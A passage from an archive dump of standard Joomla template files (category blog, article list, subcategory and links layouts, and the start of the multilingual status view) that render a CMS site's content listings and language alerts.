use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\FileLayout;
use Joomla\CMS\Layout\LayoutHelper;

$app = Factory::getApplication();

$this->category->text = $this->category->description;
$app->triggerEvent('onContentPrepare', [$this->category->extension . '.categories', &$this->category, &$this->params, 0]);
$this->category->description = $this->category->text;

$results = $app->triggerEvent('onContentAfterTitle', [$this->category->extension . '.categories', &$this->category, &$this->params, 0]);
$afterDisplayTitle = trim(implode("\n", $results));

$results = $app->triggerEvent('onContentBeforeDisplay', [$this->category->extension . '.categories', &$this->category, &$this->params, 0]);
$beforeDisplayContent = trim(implode("\n", $results));

$results = $app->triggerEvent('onContentAfterDisplay', [$this->category->extension . '.categories', &$this->category, &$this->params, 0]);
$afterDisplayContent = trim(implode("\n", $results));

$htag    = $this->params->get('show_page_heading') ? 'h2' : 'h1';

?>
<div class="com-content-category-blog blog" itemscope itemtype="https://schema.org/Blog">
    <?php if ($this->params->get('show_page_heading')) : ?>
        <div class="page-header">
            <h1> <?php echo $this->escape($this->params->get('page_heading')); ?> </h1>
        </div>
    <?php endif; ?>

    <?php if ($this->params->get('show_category_title', 1)) : ?>
    <<?php echo $htag; ?>>
        <?php echo $this->category->title; ?>
    </<?php echo $htag; ?>>
    <?php endif; ?>
    <?php echo $afterDisplayTitle; ?>

    <?php if ($this->params->get('show_cat_tags', 1) && !empty($this->category->tags->itemTags)) : ?>
        <?php $this->category->tagLayout = new FileLayout('joomla.content.tags'); ?>
        <?php echo $this->category->tagLayout->render($this->category->tags->itemTags); ?>
    <?php endif; ?>

    <?php if ($beforeDisplayContent || $afterDisplayContent || $this->params->get('show_description', 1) || $this->params->def('show_description_image', 1)) : ?>
        <div class="category-desc clearfix">
            <?php if ($this->params->get('show_description_image') && $this->category->getParams()->get('image')) : ?>
                <?php echo LayoutHelper::render(
                    'joomla.html.image',
                    [
                        'src' => $this->category->getParams()->get('image'),
                        'alt' => empty($this->category->getParams()->get('image_alt')) && empty($this->category->getParams()->get('image_alt_empty')) ? false : $this->category->getParams()->get('image_alt'),
                    ]
                ); ?>
            <?php endif; ?>
            <?php echo $beforeDisplayContent; ?>
            <?php if ($this->params->get('show_description') && $this->category->description) : ?>
                <?php echo HTMLHelper::_('content.prepare', $this->category->description, '', 'com_content.category'); ?>
            <?php endif; ?>
            <?php echo $afterDisplayContent; ?>
        </div>
    <?php endif; ?>

    <?php if (empty($this->lead_items) && empty($this->link_items) && empty($this->intro_items)) : ?>
        <?php if ($this->params->get('show_no_articles', 1)) : ?>
            <div class="alert alert-info">
                <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                    <?php echo Text::_('COM_CONTENT_NO_ARTICLES'); ?>
            </div>
        <?php endif; ?>
    <?php endif; ?>

    <?php if (!empty($this->lead_items)) : ?>
        <div class="com-content-category-blog__items blog-items items-leading <?php echo $this->params->get('blog_class_leading'); ?>">
            <?php foreach ($this->lead_items as &$item) : ?>
                <div class="com-content-category-blog__item blog-item" itemprop="blogPost" itemscope itemtype="https://schema.org/BlogPosting">
                    <?php
                    $this->item = &$item;
                    echo $this->loadTemplate('item');
                    ?>
                </div>
            <?php endforeach; ?>
        </div>
    <?php endif; ?>

    <?php if (!empty($this->intro_items)) : ?>
        <?php $blogClass = $this->params->get('blog_class', ''); ?>
        <?php if ((int) $this->params->get('num_columns') > 1) : ?>
            <?php $blogClass .= (int) $this->params->get('multi_column_order', 0) === 0 ? ' masonry-' : ' columns-'; ?>
            <?php $blogClass .= (int) $this->params->get('num_columns'); ?>
        <?php endif; ?>
        <div class="com-content-category-blog__items blog-items <?php echo $blogClass; ?>">
        <?php foreach ($this->intro_items as $key => &$item) : ?>
            <div class="com-content-category-blog__item blog-item"
                itemprop="blogPost" itemscope itemtype="https://schema.org/BlogPosting">
                    <?php
                    $this->item = & $item;
                    echo $this->loadTemplate('item');
                    ?>
            </div>
        <?php endforeach; ?>
        </div>
    <?php endif; ?>

    <?php if (!empty($this->link_items)) : ?>
        <div class="items-more">
            <?php echo $this->loadTemplate('links'); ?>
        </div>
    <?php endif; ?>

    <?php if ($this->maxLevel != 0 && !empty($this->children[$this->category->id])) : ?>
        <div class="com-content-category-blog__children cat-children">
            <?php if ($this->params->get('show_category_heading_title_text', 1) == 1) : ?>
                <h3> <?php echo Text::_('JGLOBAL_SUBCATEGORIES'); ?> </h3>
            <?php endif; ?>
            <?php echo $this->loadTemplate('children'); ?> </div>
    <?php endif; ?>
    <?php if (($this->params->def('show_pagination', 1) == 1 || ($this->params->get('show_pagination') == 2)) && ($this->pagination->pagesTotal > 1)) : ?>
        <div class="com-content-category-blog__navigation w-100">
            <?php if ($this->params->def('show_pagination_results', 1)) : ?>
                <p class="com-content-category-blog__counter counter float-md-end pt-3 pe-2">
                    <?php echo $this->pagination->getPagesCounter(); ?>
                </p>
            <?php endif; ?>
            <div class="com-content-category-blog__pagination">
                <?php echo $this->pagination->getPagesLinks(); ?>
            </div>
        </div>
    <?php endif; ?>
</div>
category/blog_item.php000064400000010370151730072210011032 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Content\Administrator\Extension\ContentComponent;
use Joomla\Component\Content\Site\Helper\RouteHelper;

// Create a shortcut for params.
$params = $this->item->params;
$canEdit = $this->item->params->get('access-edit');
$info    = $params->get('info_block_position', 0);

// Check if associations are implemented. If they are, define the parameter.
$assocParam = (Associations::isEnabled() && $params->get('show_associations'));

$currentDate   = Factory::getDate()->format('Y-m-d H:i:s');
$isUnpublished = ($this->item->state == ContentComponent::CONDITION_UNPUBLISHED || $this->item->publish_up > $currentDate)
    || ($this->item->publish_down < $currentDate && $this->item->publish_down !== null);

?>

<?php echo LayoutHelper::render('joomla.content.intro_image', $this->item); ?>

<div class="item-content">
    <?php if ($isUnpublished) : ?>
        <div class="system-unpublished">
    <?php endif; ?>

    <?php echo LayoutHelper::render('joomla.content.blog_style_default_item_title', $this->item); ?>

    <?php if ($canEdit) : ?>
        <?php echo LayoutHelper::render('joomla.content.icons', ['params' => $params, 'item' => $this->item]); ?>
    <?php endif; ?>

    <?php // @todo Not that elegant would be nice to group the params ?>
    <?php $useDefList = ($params->get('show_modify_date') || $params->get('show_publish_date') || $params->get('show_create_date')
        || $params->get('show_hits') || $params->get('show_category') || $params->get('show_parent_category') || $params->get('show_author') || $assocParam); ?>

    <?php if ($useDefList && ($info == 0 || $info == 2)) : ?>
        <?php echo LayoutHelper::render('joomla.content.info_block', ['item' => $this->item, 'params' => $params, 'position' => 'above']); ?>
    <?php endif; ?>
    <?php if ($info == 0 && $params->get('show_tags', 1) && !empty($this->item->tags->itemTags)) : ?>
        <?php echo LayoutHelper::render('joomla.content.tags', $this->item->tags->itemTags); ?>
    <?php endif; ?>

    <?php if (!$params->get('show_intro')) : ?>
        <?php // Content is generated by content plugin event "onContentAfterTitle" ?>
        <?php echo $this->item->event->afterDisplayTitle; ?>
    <?php endif; ?>

    <?php // Content is generated by content plugin event "onContentBeforeDisplay" ?>
    <?php echo $this->item->event->beforeDisplayContent; ?>

    <?php echo $this->item->introtext; ?>

    <?php if ($info == 1 || $info == 2) : ?>
        <?php if ($useDefList) : ?>
            <?php echo LayoutHelper::render('joomla.content.info_block', ['item' => $this->item, 'params' => $params, 'position' => 'below']); ?>
        <?php endif; ?>
        <?php if ($params->get('show_tags', 1) && !empty($this->item->tags->itemTags)) : ?>
            <?php echo LayoutHelper::render('joomla.content.tags', $this->item->tags->itemTags); ?>
        <?php endif; ?>
    <?php endif; ?>

    <?php if ($params->get('show_readmore') && $this->item->readmore) :
        if ($params->get('access-view')) :
            $link = Route::_(RouteHelper::getArticleRoute($this->item->slug, $this->item->catid, $this->item->language));
        else :
            $menu = Factory::getApplication()->getMenu();
            $active = $menu->getActive();
            $itemId = $active->id;
            $link = new Uri(Route::_('index.php?option=com_users&view=login&Itemid=' . $itemId, false));
            $link->setVar('return', base64_encode(RouteHelper::getArticleRoute($this->item->slug, $this->item->catid, $this->item->language)));
        endif; ?>

        <?php echo LayoutHelper::render('joomla.content.readmore', ['item' => $this->item, 'params' => $params, 'link' => $link]); ?>

    <?php endif; ?>

    <?php if ($isUnpublished) : ?>
        </div>
    <?php endif; ?>

    <?php // Content is generated by content plugin event "onContentAfterDisplay" ?>
    <?php echo $this->item->event->afterDisplayContent; ?>
</div>
category/default_articles.php000064400000047247151730072210012420 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Content\Administrator\Extension\ContentComponent;
use Joomla\Component\Content\Site\Helper\AssociationHelper;
use Joomla\Component\Content\Site\Helper\RouteHelper;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('com_content.articles-list');

// Create some shortcuts.
$n          = count($this->items);
$listOrder  = $this->escape($this->state->get('list.ordering'));
$listDirn   = $this->escape($this->state->get('list.direction'));
$langFilter = false;

// Tags filtering based on language filter
if (($this->params->get('filter_field') === 'tag') && (Multilanguage::isEnabled())) {
    $tagfilter = ComponentHelper::getParams('com_tags')->get('tag_list_language_filter');

    switch ($tagfilter) {
        case 'current_language':
            $langFilter = Factory::getApplication()->getLanguage()->getTag();
            break;

        case 'all':
            $langFilter = false;
            break;

        default:
            $langFilter = $tagfilter;
    }
}

// Check for at least one editable article
$isEditable = false;

if (!empty($this->items)) {
    foreach ($this->items as $article) {
        if ($article->params->get('access-edit')) {
            $isEditable = true;
            break;
        }
    }
}

$currentDate = Factory::getDate()->format('Y-m-d H:i:s');
?>

<form action="<?php echo htmlspecialchars(Uri::getInstance()->toString()); ?>" method="post" name="adminForm" id="adminForm" class="com-content-category__articles">
    <?php if ($this->params->get('filter_field') !== 'hide') : ?>
        <div class="com-content__filter btn-group">
            <?php if ($this->params->get('filter_field') === 'tag') : ?>
                <span class="visually-hidden">
                    <label class="filter-search-lbl" for="filter-search">
                        <?php echo Text::_('JOPTION_SELECT_TAG'); ?>
                    </label>
                </span>
                <select name="filter_tag" id="filter-search" class="form-select" onchange="document.adminForm.submit();" >
                    <option value=""><?php echo Text::_('JOPTION_SELECT_TAG'); ?></option>
                    <?php echo HTMLHelper::_('select.options', HTMLHelper::_('tag.options', ['filter.published' => [1], 'filter.language' => $langFilter], true), 'value', 'text', $this->state->get('filter.tag')); ?>
                </select>
            <?php elseif ($this->params->get('filter_field') === 'month') : ?>
                <span class="visually-hidden">
                    <label class="filter-search-lbl" for="filter-search">
                        <?php echo Text::_('JOPTION_SELECT_MONTH'); ?>
                    </label>
                </span>
                <select name="filter-search" id="filter-search" class="form-select" onchange="document.adminForm.submit();">
                    <option value=""><?php echo Text::_('JOPTION_SELECT_MONTH'); ?></option>
                    <?php echo HTMLHelper::_('select.options', HTMLHelper::_('content.months', $this->state), 'value', 'text', $this->state->get('list.filter')); ?>
                </select>
            <?php else : ?>
                <label class="filter-search-lbl visually-hidden" for="filter-search">
                    <?php echo Text::_('COM_CONTENT_' . $this->params->get('filter_field') . '_FILTER_LABEL'); ?>
                </label>
                <input type="text" name="filter-search" id="filter-search" value="<?php echo $this->escape($this->state->get('list.filter')); ?>" class="inputbox" onchange="document.adminForm.submit();" placeholder="<?php echo Text::_('COM_CONTENT_' . $this->params->get('filter_field') . '_FILTER_LABEL'); ?>">
            <?php endif; ?>

            <?php if ($this->params->get('filter_field') !== 'tag' && $this->params->get('filter_field') !== 'month') : ?>
                <button type="submit" name="filter_submit" class="btn btn-primary"><?php echo Text::_('JGLOBAL_FILTER_BUTTON'); ?></button>
            <?php endif; ?>
            <button type="reset" name="filter-clear-button" class="btn btn-secondary"><?php echo Text::_('JSEARCH_FILTER_CLEAR'); ?></button>
        </div>
    <?php endif; ?>

    <?php if ($this->params->get('show_pagination_limit')) : ?>
        <div class="com-content-category__pagination btn-group float-end">
            <label for="limit" class="visually-hidden">
                <?php echo Text::_('JGLOBAL_DISPLAY_NUM'); ?>
            </label>
            <?php echo $this->pagination->getLimitBox(); ?>
        </div>
    <?php endif; ?>

    <?php if (empty($this->items)) : ?>
        <?php if ($this->params->get('show_no_articles', 1)) : ?>
            <div class="alert alert-info">
                <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                    <?php echo Text::_('COM_CONTENT_NO_ARTICLES'); ?>
            </div>
        <?php endif; ?>
    <?php else : ?>
        <table class="com-content-category__table category table table-striped table-bordered table-hover">
            <caption class="visually-hidden">
                <?php echo Text::_('COM_CONTENT_ARTICLES_TABLE_CAPTION'); ?>
            </caption>
            <thead<?php echo $this->params->get('show_headings', '1') ? '' : ' class="visually-hidden"'; ?>>
                <tr>
                    <th scope="col" id="categorylist_header_title">
                        <?php echo HTMLHelper::_('grid.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder, null, 'asc', '', 'adminForm'); ?>
                    </th>
                    <?php if ($date = $this->params->get('list_show_date')) : ?>
                        <th scope="col" id="categorylist_header_date">
                            <?php if ($date === 'created') : ?>
                                <?php echo HTMLHelper::_('grid.sort', 'COM_CONTENT_' . $date . '_DATE', 'a.created', $listDirn, $listOrder); ?>
                            <?php elseif ($date === 'modified') : ?>
                                <?php echo HTMLHelper::_('grid.sort', 'COM_CONTENT_' . $date . '_DATE', 'a.modified', $listDirn, $listOrder); ?>
                            <?php elseif ($date === 'published') : ?>
                                <?php echo HTMLHelper::_('grid.sort', 'COM_CONTENT_' . $date . '_DATE', 'a.publish_up', $listDirn, $listOrder); ?>
                            <?php endif; ?>
                        </th>
                    <?php endif; ?>
                    <?php if ($this->params->get('list_show_author')) : ?>
                        <th scope="col" id="categorylist_header_author">
                            <?php echo HTMLHelper::_('grid.sort', 'JAUTHOR', 'author', $listDirn, $listOrder); ?>
                        </th>
                    <?php endif; ?>
                    <?php if ($this->params->get('list_show_hits')) : ?>
                        <th scope="col" id="categorylist_header_hits">
                            <?php echo HTMLHelper::_('grid.sort', 'JGLOBAL_HITS', 'a.hits', $listDirn, $listOrder); ?>
                        </th>
                    <?php endif; ?>
                    <?php if ($this->params->get('list_show_votes', 0) && $this->vote) : ?>
                        <th scope="col" id="categorylist_header_votes">
                            <?php echo HTMLHelper::_('grid.sort', 'COM_CONTENT_VOTES', 'rating_count', $listDirn, $listOrder); ?>
                        </th>
                    <?php endif; ?>
                    <?php if ($this->params->get('list_show_ratings', 0) && $this->vote) : ?>
                        <th scope="col" id="categorylist_header_ratings">
                            <?php echo HTMLHelper::_('grid.sort', 'COM_CONTENT_RATINGS', 'rating', $listDirn, $listOrder); ?>
                        </th>
                    <?php endif; ?>
                    <?php if ($isEditable) : ?>
                        <th scope="col" id="categorylist_header_edit"><?php echo Text::_('COM_CONTENT_EDIT_ITEM'); ?></th>
                    <?php endif; ?>
                </tr>
            </thead>
            <tbody>
            <?php foreach ($this->items as $i => $article) : ?>
                <?php if ($this->items[$i]->state == ContentComponent::CONDITION_UNPUBLISHED) : ?>
                    <tr class="system-unpublished cat-list-row<?php echo $i % 2; ?>">
                <?php else : ?>
                    <tr class="cat-list-row<?php echo $i % 2; ?>" >
                <?php endif; ?>
                <th class="list-title" scope="row">
                    <?php if (in_array($article->access, $this->user->getAuthorisedViewLevels())) : ?>
                        <a href="<?php echo Route::_(RouteHelper::getArticleRoute($article->slug, $article->catid, $article->language)); ?>">
                            <?php echo $this->escape($article->title); ?>
                        </a>
                        <?php if (Associations::isEnabled() && $this->params->get('show_associations')) : ?>
                            <div class="cat-list-association">
                            <?php $associations = AssociationHelper::displayAssociations($article->id); ?>
                            <?php foreach ($associations as $association) : ?>
                                <?php if ($this->params->get('flags', 1) && $association['language']->image) : ?>
                                    <?php $flag = HTMLHelper::_('image', 'mod_languages/' . $association['language']->image . '.gif', $association['language']->title_native, ['title' => $association['language']->title_native], true); ?>
                                    <a href="<?php echo Route::_($association['item']); ?>"><?php echo $flag; ?></a>
                                <?php else : ?>
                                    <?php $class = 'btn btn-secondary btn-sm btn-' . strtolower($association['language']->lang_code); ?>
                                    <a class="<?php echo $class; ?>" title="<?php echo $association['language']->title_native; ?>" href="<?php echo Route::_($association['item']); ?>"><?php echo $association['language']->lang_code; ?>
                                        <span class="visually-hidden"><?php echo $association['language']->title_native; ?></span>
                                    </a>
                                <?php endif; ?>
                            <?php endforeach; ?>
                            </div>
                        <?php endif; ?>
                    <?php else : ?>
                        <?php
                        echo $this->escape($article->title) . ' : ';
                        $itemId = Factory::getApplication()->getMenu()->getActive()->id;
                        $link   = new Uri(Route::_('index.php?option=com_users&view=login&Itemid=' . $itemId, false));
                        $link->setVar('return', base64_encode(RouteHelper::getArticleRoute($article->slug, $article->catid, $article->language)));
                        ?>
                        <a href="<?php echo $link; ?>" class="register">
                            <?php echo Text::_('COM_CONTENT_REGISTER_TO_READ_MORE'); ?>
                        </a>
                        <?php if (Associations::isEnabled() && $this->params->get('show_associations')) : ?>
                            <div class="cat-list-association">
                            <?php $associations = AssociationHelper::displayAssociations($article->id); ?>
                            <?php foreach ($associations as $association) : ?>
                                <?php if ($this->params->get('flags', 1)) : ?>
                                    <?php $flag = HTMLHelper::_('image', 'mod_languages/' . $association['language']->image . '.gif', $association['language']->title_native, ['title' => $association['language']->title_native], true); ?>
                                    <a href="<?php echo Route::_($association['item']); ?>"><?php echo $flag; ?></a>
                                <?php else : ?>
                                    <?php $class = 'btn btn-secondary btn-sm btn-' . strtolower($association['language']->lang_code); ?>
                                    <a class="<?php echo $class; ?>" title="<?php echo $association['language']->title_native; ?>" href="<?php echo Route::_($association['item']); ?>"><?php echo $association['language']->lang_code; ?>
                                        <span class="visually-hidden"><?php echo $association['language']->title_native; ?></span>
                                    </a>
                                <?php endif; ?>
                            <?php endforeach; ?>
                            </div>
                        <?php endif; ?>
                    <?php endif; ?>
                    <?php if ($article->state == ContentComponent::CONDITION_UNPUBLISHED) : ?>
                        <div>
                            <span class="list-published badge bg-warning text-light">
                                <?php echo Text::_('JUNPUBLISHED'); ?>
                            </span>
                        </div>
                    <?php endif; ?>
                    <?php if ($article->publish_up > $currentDate) : ?>
                        <div>
                            <span class="list-published badge bg-warning text-light">
                                <?php echo Text::_('JNOTPUBLISHEDYET'); ?>
                            </span>
                        </div>
                    <?php endif; ?>
                    <?php if (!is_null($article->publish_down) && $article->publish_down < $currentDate) : ?>
                        <div>
                            <span class="list-published badge bg-warning text-light">
                                <?php echo Text::_('JEXPIRED'); ?>
                            </span>
                        </div>
                    <?php endif; ?>
                </th>
                <?php if ($this->params->get('list_show_date')) : ?>
                    <td class="list-date small">
                        <?php
                        echo HTMLHelper::_(
                            'date',
                            $article->displayDate,
                            $this->escape($this->params->get('date_format', Text::_('DATE_FORMAT_LC3')))
                        ); ?>
                    </td>
                <?php endif; ?>
                <?php if ($this->params->get('list_show_author', 1)) : ?>
                    <td class="list-author">
                        <?php if (!empty($article->author) || !empty($article->created_by_alias)) : ?>
                            <?php $author = $article->author ?>
                            <?php $author = $article->created_by_alias ?: $author; ?>
                            <?php if (!empty($article->contact_link) && $this->params->get('link_author') == true) : ?>
                                <?php if ($this->params->get('show_headings')) : ?>
                                    <?php echo HTMLHelper::_('link', $article->contact_link, $author); ?>
                                <?php else : ?>
                                    <?php echo Text::sprintf('COM_CONTENT_WRITTEN_BY', HTMLHelper::_('link', $article->contact_link, $author)); ?>
                                <?php endif; ?>
                            <?php else : ?>
                                <?php if ($this->params->get('show_headings')) : ?>
                                    <?php echo $author; ?>
                                <?php else : ?>
                                    <?php echo Text::sprintf('COM_CONTENT_WRITTEN_BY', $author); ?>
                                <?php endif; ?>
                            <?php endif; ?>
                        <?php endif; ?>
                    </td>
                <?php endif; ?>
                <?php if ($this->params->get('list_show_hits', 1)) : ?>
                    <td class="list-hits">
                        <span class="badge bg-info">
                            <?php if ($this->params->get('show_headings')) : ?>
                                <?php echo $article->hits; ?>
                            <?php else : ?>
                                <?php echo Text::sprintf('JGLOBAL_HITS_COUNT', $article->hits); ?>
                            <?php endif; ?>
                        </span>
                    </td>
                <?php endif; ?>
                <?php if ($this->params->get('list_show_votes', 0) && $this->vote) : ?>
                    <td class="list-votes">
                        <span class="badge bg-success">
                            <?php if ($this->params->get('show_headings')) : ?>
                                <?php echo $article->rating_count; ?>
                            <?php else : ?>
                                <?php echo Text::sprintf('COM_CONTENT_VOTES_COUNT', $article->rating_count); ?>
                            <?php endif; ?>
                        </span>
                    </td>
                <?php endif; ?>
                <?php if ($this->params->get('list_show_ratings', 0) && $this->vote) : ?>
                    <td class="list-ratings">
                        <span class="badge bg-warning text-light">
                            <?php if ($this->params->get('show_headings')) : ?>
                                <?php echo $article->rating; ?>
                            <?php else : ?>
                                <?php echo Text::sprintf('COM_CONTENT_RATINGS_COUNT', $article->rating); ?>
                            <?php endif; ?>
                        </span>
                    </td>
                <?php endif; ?>
                <?php if ($isEditable) : ?>
                    <td class="list-edit">
                        <?php if ($article->params->get('access-edit')) : ?>
                            <?php echo HTMLHelper::_('contenticon.edit', $article, $article->params); ?>
                        <?php endif; ?>
                    </td>
                <?php endif; ?>
                </tr>
            <?php endforeach; ?>
            </tbody>
        </table>
    <?php endif; ?>

    <?php // Code to add a link to submit an article. ?>
    <?php if ($this->category->getParams()->get('access-create')) : ?>
        <?php echo HTMLHelper::_('contenticon.create', $this->category, $this->category->params); ?>
    <?php endif; ?>

    <?php // Add pagination links ?>
    <?php if (!empty($this->items)) : ?>
        <?php if (($this->params->def('show_pagination', 2) == 1  || ($this->params->get('show_pagination') == 2)) && ($this->pagination->pagesTotal > 1)) : ?>
            <div class="com-content-category__navigation w-100">
                <?php if ($this->params->def('show_pagination_results', 1)) : ?>
                    <p class="com-content-category__counter counter float-end pt-3 pe-2">
                        <?php echo $this->pagination->getPagesCounter(); ?>
                    </p>
                <?php endif; ?>
                <div class="com-content-category__pagination">
                    <?php echo $this->pagination->getPagesLinks(); ?>
                </div>
            </div>
        <?php endif; ?>
    <?php endif; ?>
    <div>
        <input type="hidden" name="filter_order" value="">
        <input type="hidden" name="filter_order_Dir" value="">
        <input type="hidden" name="limitstart" value="">
        <input type="hidden" name="task" value="">
    </div>
</form>
category/blog_children.php000064400000010127151730072210011664 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Content\Site\Helper\RouteHelper;

$lang   = $this->getLanguage();
$user   = Factory::getUser();
$groups = $user->getAuthorisedViewLevels();

if ($this->maxLevel != 0 && count($this->children[$this->category->id]) > 0) : ?>
    <?php foreach ($this->children[$this->category->id] as $id => $child) : ?>
        <?php // Check whether category access level allows access to subcategories. ?>
        <?php if (in_array($child->access, $groups)) : ?>
            <?php if ($this->params->get('show_empty_categories') || $child->numitems || count($child->getChildren())) : ?>
            <div class="com-content-category-blog__child">
                <?php if ($lang->isRtl()) : ?>
                <h3 class="page-header item-title">
                    <?php if ($this->params->get('show_cat_num_articles', 1)) : ?>
                        <span class="badge bg-info tip">
                            <?php echo $child->getNumItems(true); ?>
                        </span>
                    <?php endif; ?>
                    <a href="<?php echo Route::_(RouteHelper::getCategoryRoute($child->id, $child->language)); ?>">
                    <?php echo $this->escape($child->title); ?></a>

                    <?php if ($this->maxLevel > 1 && count($child->getChildren()) > 0) : ?>
                        <a href="#category-<?php echo $child->id; ?>" data-bs-toggle="collapse" class="btn btn-sm float-end" aria-label="<?php echo Text::_('JGLOBAL_EXPAND_CATEGORIES'); ?>"><span class="icon-plus" aria-hidden="true"></span></a>
                    <?php endif; ?>
                </h3>
                <?php else : ?>
                <h3 class="page-header item-title"><a href="<?php echo Route::_(RouteHelper::getCategoryRoute($child->id, $child->language)); ?>">
                    <?php echo $this->escape($child->title); ?></a>
                    <?php if ($this->params->get('show_cat_num_articles', 1)) : ?>
                        <span class="badge bg-info">
                            <?php echo Text::_('COM_CONTENT_NUM_ITEMS'); ?>&nbsp;
                            <?php echo $child->getNumItems(true); ?>
                        </span>
                    <?php endif; ?>

                    <?php if ($this->maxLevel > 1 && count($child->getChildren()) > 0) : ?>
                        <a href="#category-<?php echo $child->id; ?>" data-bs-toggle="collapse" class="btn btn-sm float-end" aria-label="<?php echo Text::_('JGLOBAL_EXPAND_CATEGORIES'); ?>"><span class="icon-plus" aria-hidden="true"></span></a>
                    <?php endif; ?>
                </h3>
                <?php endif; ?>

                <?php if ($this->params->get('show_subcat_desc') == 1) : ?>
                    <?php if ($child->description) : ?>
                    <div class="com-content-category-blog__description category-desc">
                        <?php echo HTMLHelper::_('content.prepare', $child->description, '', 'com_content.category'); ?>
                    </div>
                    <?php endif; ?>
                <?php endif; ?>

                <?php if ($this->maxLevel > 1 && count($child->getChildren()) > 0) : ?>
                <div class="com-content-category-blog__children collapse fade" id="category-<?php echo $child->id; ?>">
                    <?php
                    $this->children[$child->id] = $child->getChildren();
                    $this->category = $child;
                    $this->maxLevel--;
                    echo $this->loadTemplate('children');
                    $this->category = $child->getParent();
                    $this->maxLevel++;
                    ?>
                </div>
                <?php endif; ?>
            </div>
            <?php endif; ?>
        <?php endif; ?>
    <?php endforeach; ?>

<?php endif;
category/blog_links.php000064400000001264151730072210011216 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Router\Route;
use Joomla\Component\Content\Site\Helper\RouteHelper;

?>

<ol class="com-content-blog__links">
    <?php foreach ($this->link_items as $item) : ?>
        <li class="com-content-blog__link">
            <a href="<?php echo Route::_(RouteHelper::getArticleRoute($item->slug, $item->catid, $item->language)); ?>">
                <?php echo $item->title; ?></a>
        </li>
    <?php endforeach; ?>
</ol>
multilangstatus/default.php000064400000046324151730131060012147 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

$notice_disabled  = !$this->language_filter && ($this->homes > 1 || $this->switchers != 0);
$notice_switchers = !$this->switchers && ($this->homes > 1 || $this->language_filter);

// Defining arrays
$content_languages = array_column($this->contentlangs, 'lang_code');
$sitelangs         = array_column($this->site_langs, 'element');
$home_pages        = array_column($this->homepages, 'language');
?>
<div class="mod-multilangstatus">
    <?php if (!$this->language_filter && $this->switchers == 0) : ?>
        <?php if ($this->homes == 1) : ?>
            <div class="alert alert-info">
                <span class="icon-info-circle" aria-hidden="true"></span>
                <span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                <?php echo Text::_('COM_LANGUAGES_MULTILANGSTATUS_NONE'); ?>
            </div>
        <?php else : ?>
            <div class="alert alert-info">
                <span class="icon-info-circle" aria-hidden="true"></span>
                <span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                <?php echo Text::_('COM_LANGUAGES_MULTILANGSTATUS_USELESS_HOMES'); ?>
            </div>
        <?php endif; ?>
    <?php else : ?>
        <?php if (!in_array($this->default_lang, $content_languages)) : ?>
            <div class="alert alert-error">
                <span class="icon-exclamation" aria-hidden="true"></span>
                <span class="visually-hidden"><?php echo Text::_('ERROR'); ?></span>
                <?php echo Text::sprintf('COM_LANGUAGES_MULTILANGSTATUS_ERROR_DEFAULT_CONTENT_LANGUAGE', $this->default_lang); ?>
            </div>
        <?php else : ?>
            <?php foreach ($this->contentlangs as $contentlang) : ?>
                <?php if ($contentlang->lang_code == $this->default_lang && $contentlang->published != 1) : ?>
                    <div class="alert alert-error">
                        <span class="icon-exclamation" aria-hidden="true"></span>
                        <span class="visually-hidden"><?php echo Text::_('ERROR'); ?></span>
                        <?php echo Text::sprintf('COM_LANGUAGES_MULTILANGSTATUS_ERROR_DEFAULT_CONTENT_LANGUAGE', $this->default_lang); ?>
                    </div>
                <?php endif; ?>
            <?php endforeach; ?>
        <?php endif; ?>
        <?php if ($this->defaultHome == true) : ?>
            <div class="alert alert-warning">
                <span class="icon-exclamation-triangle" aria-hidden="true"></span>
                <span class="visually-hidden"><?php echo Text::_('WARNING'); ?></span>
                <?php echo Text::_('COM_LANGUAGES_MULTILANGSTATUS_DEFAULT_HOME_MODULE_PUBLISHED'); ?>
            </div>
        <?php endif; ?>
        <?php foreach ($this->statuses as $status) : ?>
            <?php // Displays error when Site language and Content language are published but Home page is unpublished, trashed or missing. ?>
            <?php if ($status->lang_code && $status->published == 1 && $status->home_published != 1) : ?>
                <div class="alert alert-warning">
